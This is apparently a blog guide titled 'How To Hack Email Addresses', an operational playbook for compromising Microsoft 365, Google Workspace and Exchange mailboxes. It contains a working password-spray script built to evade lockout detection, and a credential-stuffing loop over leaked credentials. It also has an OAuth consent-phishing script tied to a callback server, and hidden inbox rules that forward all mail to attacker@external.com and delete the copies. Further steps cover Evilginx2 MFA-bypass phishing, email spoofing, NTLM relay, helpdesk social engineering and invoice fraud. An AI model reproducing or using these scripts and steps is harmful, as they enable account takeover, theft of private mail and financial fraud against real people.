How To Hack Email Addresses (Guide)
- Biohazard
- 2 days ago
- 9 min read

Hacking Email Addresses
Here's the full email account compromise playbook, covering every viable attack vector from external to post-compromise. This is a guide on how to hack email addresses.
Attack Surface Mapping
Before touching anything, map what you're up against:
bash
# Discover email infrastructure
dig MX target.com
dig TXT target.com          # SPF record
dig TXT _dmarc.target.com   # DMARC policy
dig TXT selector1._domainkey.target.com  # DKIM
# Identify the mail platform
# MX pointing to: outlook.com/protection.outlook.com → Microsoft 365
# MX pointing to: google.com/aspmx.l.google.com → Google Workspace
# MX pointing to: target IPs → On-prem Exchange, Postfix, etc.
# Check if Autodiscover leaks internal info
curl -s https://autodiscover.target.com/Autodiscover/Autodiscover.xml
The platform determines which attacks work:
Microsoft 365: Password spray, OAuth phishing, token theft, Azure AD attacks
Google Workspace: Password spray, OAuth phishing, app password abuse
On-prem Exchange: EWS abuse, NTLM relay, legacy protocol brute force
Hybrid: All of the above plus AAD Connect attack paths
Method 1: Password Spraying
This is the most reliable external attack against cloud-hosted email. One password against many accounts, not many passwords against one account (which triggers lockouts).
Microsoft 365 Spray
bash
# Find valid accounts first (enumeration without spraying)
# Using o365spray or CredMaster
python3 o365spray.py --validate --domain target.com
# Or manual validation via Azure AD's openid-config endpoint
# This endpoint leaks whether a user exists
curl -s "https://login.microsoftonline.com/common/GetCredentialType" \
  -H "Content-Type: application/json" \
  -d '{"Username":"user@target.com"}' | jq .
# IfExistsResult:
# 0 = account exists in Azure AD
# 1 = account doesn't exist
# 5 = account exists, federated
# 6 = account exists, managed (cloud-only)
# Spray once you have valid users
# Use the most common seasonal passwords:
# Summer2024!, Spring2024!, Password1, CompanyName2024!, etc.
python3 o365spray.py --spray \
  --domain target.com \
  --userfile valid_users.txt \
  --password "Summer2024!" \
  --delay 30 \
  --lockout 1
Custom M365 Spray Script
python
#!/usr/bin/env python3
"""
Microsoft 365 password spray with intelligent lockout avoidance.
"""
import requests
import time
import argparse
import random
def check_account_exists(domain, username):
    """Azure AD user enumeration via GetCredentialType."""
    url = "https://login.microsoftonline.com/common/GetCredentialType"
    body = {"Username": f"{username}@{domain}", "isOtherIdpSupported": True}
    r = requests.post(url, json=body, timeout=10)
    result = r.json()
    return result.get("IfExistsResult", -1)
def attempt_auth(domain, username, password):
    """Single auth attempt, returns True on success."""
    body = {
        "resource": "https://graph.microsoft.com",
        "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Azure AD PowerShell
        "grant_type": "password",
        "username": f"{username}@{domain}",
        "password": password,
        "scope": "openid"
    }
   Â
    r = requests.post(
        "https://login.microsoftonline.com/common/oauth2/token",
        data=body,
        timeout=15
    )
   Â
    resp = r.json()
    error = resp.get("error", "")
    error_desc = resp.get("error_description", "")
   Â
    if "access_token" in resp:
        return "SUCCESS", resp.get("access_token")
    elif "AADSTS50053" in error_desc: # Account locked
        return "LOCKED", None
    elif "AADSTS50055" in error_desc: # Password expired
        return "EXPIRED", None Â
    elif "AADSTS50056" in error_desc: # No password set (SSO)
        return "NO_PASSWORD", None
    elif "AADSTS50057" in error_desc: # Disabled
        return "DISABLED", None
    elif "AADSTS50034" in error_desc: # User not found
        return "NOT_FOUND", None
    elif "AADSTS50126" in error_desc: # Invalid password
        return "INVALID", None
    elif "AADSTS50076" in error_desc: # MFA required
        return "MFA_REQUIRED", None  # Account exists, password valid but MFA
    elif "AADSTS50079" in error_desc: # MFA registration required
        return "MFA_REGISTRATION", None  # Password valid, can register own MFA!
    elif "AADSTS53003" in error_desc: # Conditional Access blocked
        return "CA_BLOCKED", None
    else:
        return f"UNKNOWN:{error}", None
def spray(domain, users, password, delay=30):
    """Spray a single password across all users."""
    results = {}
    for i, user in enumerate(users):
        result, token = attempt_auth(domain, user, password)
        results[user] = result
        print(f" [{i+1}/{len(users)}] {user}@{domain}: {result}")
       Â
        if result == "SUCCESS":
            print(f" [!] CREDENTIALS: {user}@{domain}:{password}")
            print(f" [!] TOKEN: {token[:50]}...")
        elif result == "MFA_REQUIRED":
            print(f" [*] MFA account: {user}@{domain}:{password} (valid but MFA-protected)")
       Â
        # Sleep between attempts to avoid triggering Azure AD Smart Lockout
        # Add random jitter to evade pattern detection
        jitter = random.uniform(0, delay * 0.3)
        time.sleep(delay + jitter)
   Â
    return results
Key insight for M365 spraying: AADSTS50076 (MFA required) and AADSTS50079 (MFA registration required) mean the password is CORRECT but the account is behind MFA. These are still wins — you just need an MFA bypass. AADSTS50079 is especially valuable because the user hasn't completed MFA registration, meaning you can prompt for MFA registration and enroll your own device.
Google Workspace Spray
bash
# MailSniper-style approach for GWS
# Google throttles aggressively - keep delays high
# Enumerate valid users (Gmail won't tell you, but try)
python3 -c "
import requests
# GWS login page enum via response differences
"
# Spray via IMAP (less likely to trigger lockout than web)
hydra -L users.txt -P passwords.txt -s 993 -S imap.gmail.com imap
On-Prem Exchange Spray
bash
# If NTLM is exposed (EWS, OWA, ActiveSync):
# Use Ruler or MailSniper for account validation via Autodiscover
# MailSniper - enumerate valid users
Import-Module .\MailSniper.ps1
Invoke-UsernameHarvestOWA -ExchHostname mail.target.com -Domain TARGET -UserList users.txt
# Spray via EWS with Burp Suite or a script
# EWS SOAP request to ValidateUser
curl -X POST https://mail.target.com/EWS/Exchange.asmx \
  -H "Content-Type: text/xml" \
  -d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
       xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
       <soap:Body><t:ResolveNames ReturnFullContactData="false">
       <t:UnresolvedEntry>SMTP:user@target.com</t:UnresolvedEntry>
       </t:ResolveNames></soap:Body></soap:Envelope>'Method 2: Credential Stuffing
Check if user passwords from breached databases work on the email system:
bash
# Build target-specific wordlist from breach dumps
# Tools: Breach-Parse, Holehe, DeHashed API, IntelX
# Search for target domain credentials
python3 holehe.py user@target.com  # Checks 100+ services for accounts
# DeHashed API query
curl -s "https://api.dehashed.com/search?query=domain:target.com" \
  -u "$DEHASHED_EMAIL:$DEHASHED_API_KEY" \
  -H "Accept: application/json" | jq .
# Try leaked passwords against O365
# Use the password spray script above with leaked creds
for line in $(cat leaked_creds.txt); do
    user=$(echo $line | cut -d: -f1)
    pass=$(echo $line | cut -d: -f2)
    python3 spray.py --user $user --pass "$pass" --domain target.com --single
doneMethod 3: OAuth / Consent Phishing (Illicit Consent Grant)
This is the modern equivalent of credential phishing, and it bypasses MFA completely. Instead of stealing passwords, you trick the user into granting your malicious app OAuth permissions to their mailbox.
The Attack
python
#!/usr/bin/env python3
"""
Illicit Consent Grant attack against Microsoft 365.
Registers a malicious Azure AD application and generates a consent link.
When user consents, app gets persistent API access to their mailbox.
"""
import requests
import json
import uuid
TENANT_IDÂ = "target-tenant-id"Â Â # Or "common" for any tenant
REDIRECT_URIÂ = "https://your-c2-server.com/callback"
# Step 1: Register an app (needs an Azure tenant, even a free one)
# Or use an existing app registration you control
CLIENT_IDÂ = "your-registered-app-client-id"
CLIENT_SECRETÂ = "your-app-secret"Â Â # If using confidential client
# Step 2: Generate the consent URL
# Permissions requested:
# Mail.Read - read all mail
# Mail.ReadWrite - read and write mail
# Mail.Send - send as user
# MailboxSettings.ReadWrite - modify inbox rules (persistence)
SCOPESÂ = [
    "Mail.Read",
    "Mail.ReadWrite",
    "Mail.Send",
    "MailboxSettings.ReadWrite",
    "offline_access", # Refresh token for persistence
    "User.Read"            # Basic profile
]
consent_url = (
    "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?"
    f"client_id={CLIENT_ID}"
    "&response_type=code"
    f"&redirect_uri={REDIRECT_URI}"
    f"&scope={'+'.join(SCOPES)}"
    "&response_mode=query"
    f"&state={uuid.uuid4()}"
)
print(f"[*] Send this consent link to the target:")
print(f" {consent_url}")
print(f"[*] When they consent, the authorization code will arrive at {REDIRECT_URI}")
# Step 3: Exchange auth code for tokens (happens on your callback server)
def exchange_code(auth_code):
    r = requests.post(
        "https://login.microsoftonline.com/common/oauth2/v2.0/token",
        data={
            "client_id": CLIENT_ID,
            "client_secret": CLIENT_SECRET,
            "code": auth_code,
            "redirect_uri": REDIRECT_URI,
            "grant_type": "authorization_code"
        }
    )
    tokens = r.json()
   Â
    access_token = tokens.get("access_token")
    refresh_token = tokens.get("refresh_token")
   Â
    print(f"[*] Access Token: {access_token[:50]}...")
    print(f"[*] Refresh Token: {refresh_token}")
   Â
    # Now use the token to read mail
    r = requests.get(
        "https://graph.microsoft.com/v1.0/me/messages?$top=10",
        headers={"Authorization": f"Bearer {access_token}"}
    )
   Â
    messages = r.json()
    for msg in messages.get("value", []):
        print(f" Subject: {msg.get('subject')}")
        print(f" From: {msg.get('from', {}).get('emailAddress', {}).get('address')}")
   Â
    return tokens
Inbox Rule Persistence (stays after consent)
python
# After getting an access token, create a hidden inbox rule
# that forwards all mail externally or hides specific messages
rule = {
    "displayName": ".", # Tiny display name - minimal visibility
    "sequence": 1,
    "isEnabled": True,
    "conditions": {
        "bodyContains": ["X-HIDDEN-RULE-TRIGGER-X"] # Never triggers naturally
    },
    "actions": {
        "forwardTo": [{
            "emailAddress": {"address": "attacker@external.com"}
        }],
        "stopProcessingRules": True
    }
}
requests.post(
    "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules",
    headers={"Authorization": f"Bearer {access_token}"},
    json=rule
)
# Better: forward ALL mail, not just specific
rule["conditions"] = {} # Empty conditions = match everything
# Then immediately delete the forwarded local copy
rule["actions"]["delete"] = TrueMethod 4: Evilginx2 - MFA-Bypass Phishing
Evilginx2 proxies the real login experience and captures session tokens even when MFA is enabled.
bash
# Installation
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
./build/evilginx2
# Evilginx console:
config domain your-phishing-domain.com
config ip YOUR_SERVER_IP
# M365 phishlet
phishlets hostname o365 your-phishing-domain.com
phishlets enable o365
# Create the lure
lures create o365
lures get-url 0
# → https://your-phishing-domain.com/AbCd1234
# When user visits that URL:
# 1. They see a real-looking Microsoft login page
# 2. They enter email + password → Evilginx captures it
# 3. They get redirected to real MFA prompt
# 4. They enter MFA code → Evilginx captures the session cookie
# 5. Evilginx now has a fully authenticated session
sessions
# Shows all captured sessions with tokens
sessions 0
# View captured credentials and session cookies
# Export tokens for use with other tools
sessions 0 export
You now have the user's session cookie. Inject it into your browser (Cookie Editor extension) or use it with Graph API directly — no password or MFA needed.
Method 5: Password Reset / Account Recovery Attacks
Microsoft Self-Service Password Reset (SSPR) Abuse
If the target organization has SSPR enabled:
bash
# Step 1: Enumerate SSPR configuration
# Check if SSPR is enabled for the domain
curl -s "https://login.microsoftonline.com/common/userrealm/user@target.com?api-version=2.0" \
  -H "Accept: application/json" | jq .
# Step 2: Find SSPR auth methods
# Start password reset flow, capture the SSPR challenge
curl -s -c cookies.txt \
  "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?response_type=id_token&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Foauth2%2Fnativeresponse&scope=openid&state=12345&nonce=67890&response_mode=fragment&login_hint=user@target.com"
# Step 3: Check what verification methods are available
# Phone SMS, alternate email, security questions
# If security questions → research answers via OSINT
# If phone SMS → SIM swap or SMS interception
# If alternate email → compromise that email first
Google Account Recovery
Google's recovery flow leaks information:
bash
# Check if a Google account exists
curl -s "https://mail.google.com/mail/gxlu?email=user@target.com" -I | grep -i "gxlu"
# Account recovery flow
# Navigate through the flow, observe what recovery options are shown
# Phone number (last 2 digits shown): social engineer to get full number
# Recovery email: partially redacted, try to guessMethod 6: Weaponizing External Email Configuration
SPF/DKIM/DMARC Gaps → Spoofing
bash
# Check SPF for misconfigurations
dig TXT target.com | grep "v=spf1"
# Common SPF weaknesses:
# - softfail (~all) instead of hardfail (-all) → spoofing works
# - includes that are too broad (include:_spf.google.com)
# - IP ranges of cloud providers (include:spf.protection.outlook.com)
# - Neutral (?all) → completely open to spoofing
# If SPF is ~all or ?all:
swaks --to victim@target.com \
      --from ceo@target.com \ # Spoofed!
      --server mx.target.com \
      --body "Spoofed email test - pentest engagement"
# DKIM gaps
# Check selector for weak keys
dig TXT selector1._domainkey.target.com
# Key length < 1024 bits → factorable (theoretically)
# DMARC policy
dig TXT _dmarc.target.com
# p=none → spoofing works, just gets reported
# p=quarantine → may land in spam
# p=reject → blocked (the goal of DMARC)Method 7: Legacy Protocol Abuse (M365)
Microsoft 365's legacy protocols often bypass MFA and Conditional Access:
bash
# IMAP (port 993) - check if enabled
openssl s_client -connect outlook.office365.com:993 -crlf
# a1 login user@target.com Password123
# POP3 (port 995)
openssl s_client -connect outlook.office365.com:995 -crlf
# SMTP Auth (port 587) - check if enabled
swaks --to test@target.com \
      --from user@target.com \
      --server smtp.office365.com:587 \
      --auth LOGIN \
      --auth-user user@target.com \
      --auth-password "password"
# ActiveSync (EAS) - often enabled by default
# Use with known creds to access mail without MFA
# PowerShell to check if legacy auth is enabled for a user:
# In Exchange Online PowerShell:
Get-CASMailbox user@target.com | fl *Imap*,*Pop*,*ActiveSync*,*Smtp*
These protocols are gold during password spray campaigns — a valid password on IMAP bypasses MFA and Conditional Access policies that only protect browser-based auth.
Method 8: Internal Post-Compromise Email Attacks
Once you have internal network access (even low-privilege), the email attack surface expands dramatically:
NTLM Relay to Exchange (On-Prem)
bash
# If Exchange is on-prem and you have a foothold:
# 1. Force a machine to authenticate to you (PrinterBug, PetitPotam)
# 2. Relay the NTLM auth to Exchange EWS
# 3. Access mailboxes without credentials
# ntlmrelayx targeting EWS
python3 ntlmrelayx.py -t https://mail.target.com/EWS/Exchange.asmx \
  --no-validate-privs \
  --remove-mic
# Or via Responder + MultiRelay
responder -I eth0  # Capture hashes
# Then relay captured hash to Exchange EWS
Exchange PowerShell via WinRM
powershell
# If you have valid credentials for any mailbox:
$Session = New-PSSession -ConfigurationName Microsoft.Exchange `
  -ConnectionUri http://mail.target.com/PowerShell/ `
  -Authentication Kerberos
Import-PSSession $Session
# Read any mailbox (if permissions allow)
Search-Mailbox -Identity "CEO"Â -SearchQuery "subject:confidential"
# Assign yourself Full Access to any mailbox
Add-MailboxPermission -Identity "CFO"Â -User "compromised_user"Â -AccessRights FullAccess
# Set up forwarding without the user knowing
Set-Mailbox -Identity "target"Â -ForwardingSmtpAddress "attacker@external.com"Â -DeliverToMailboxAndForward $true
Graph API Abuse (M365 Post-Compromise)
powershell
# If you have a token for any user, escalate via Graph:
# Check what roles/permissions the compromised user has
$token = "eyJ0..."
$headers = @{Authorization = "Bearer $token"}
# Read any user's mail if you have Mail.Read.All
Invoke-RestMethod "https://graph.microsoft.com/v1.0/users/ceo@target.com/messages"Â -Headers $headers
# Search all mail across the tenant (if Admin)
Invoke-RestMethod "https://graph.microsoft.com/v1.0/search/query"Â `
  -Method Post -Headers $headers `
  -Body '{"requests":[{"entityTypes":["message"],"query":{"queryString":"password credential"}}]}'
# Create a hidden forwarding rule via GraphProduction Attack Flow Summary
For a typical email-focused pentest, here's the step-by-step playbook:
Phase 1 — Recon (Day 1)
MX/DNS enumeration — identify the platform
User enumeration via Azure AD/GetCredentialType, LinkedIn, Hunter.io
Leaked credential search (DeHashed, IntelX, breach dumps)
SPF/DKIM/DMARC assessment
Build target user list
Phase 2 — Initial Access (Days 2-5)
Password spray with seasonal passwords (1-2 attempts per user maximum)
Try leaked credentials if found
Test IMAP/POP3/SMTP Auth with any discovered passwords (bypasses MFA)
If nothing works, shift to phishing:
Consent grant phishing (OAuth app)
Or Evilginx2 for full session capture
Phase 3 — Exploitation (once you have access)
Search mailbox for credentials, VPN configs, internal docs
Set up forwarding rules for persistence
Use the email account to phish internally (trusted-sender phishing)
Password reset other services via email access
Escalate: does this user have admin roles? Check Azure AD role assignments
Phase 4 — Lateral Movement via Email
Send internal phishing emails from the compromised account
Target IT/Helpdesk: "Hey, can you reset Jane from Accounting's password? She's locked out and in a meeting"
Target Finance: modify invoice PDFs in existing threads
Target HR: request employee W-2 data
